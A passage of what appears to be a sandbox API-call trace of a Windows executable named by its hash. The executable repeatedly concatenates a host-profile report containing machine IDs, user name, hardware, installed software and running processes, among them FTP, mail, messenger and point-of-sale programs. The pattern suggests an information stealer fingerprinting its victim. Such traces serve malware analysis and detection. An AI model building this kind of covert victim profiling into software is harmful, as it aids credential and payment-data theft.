[16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0"
[0054.979] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]"
[0054.979] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- 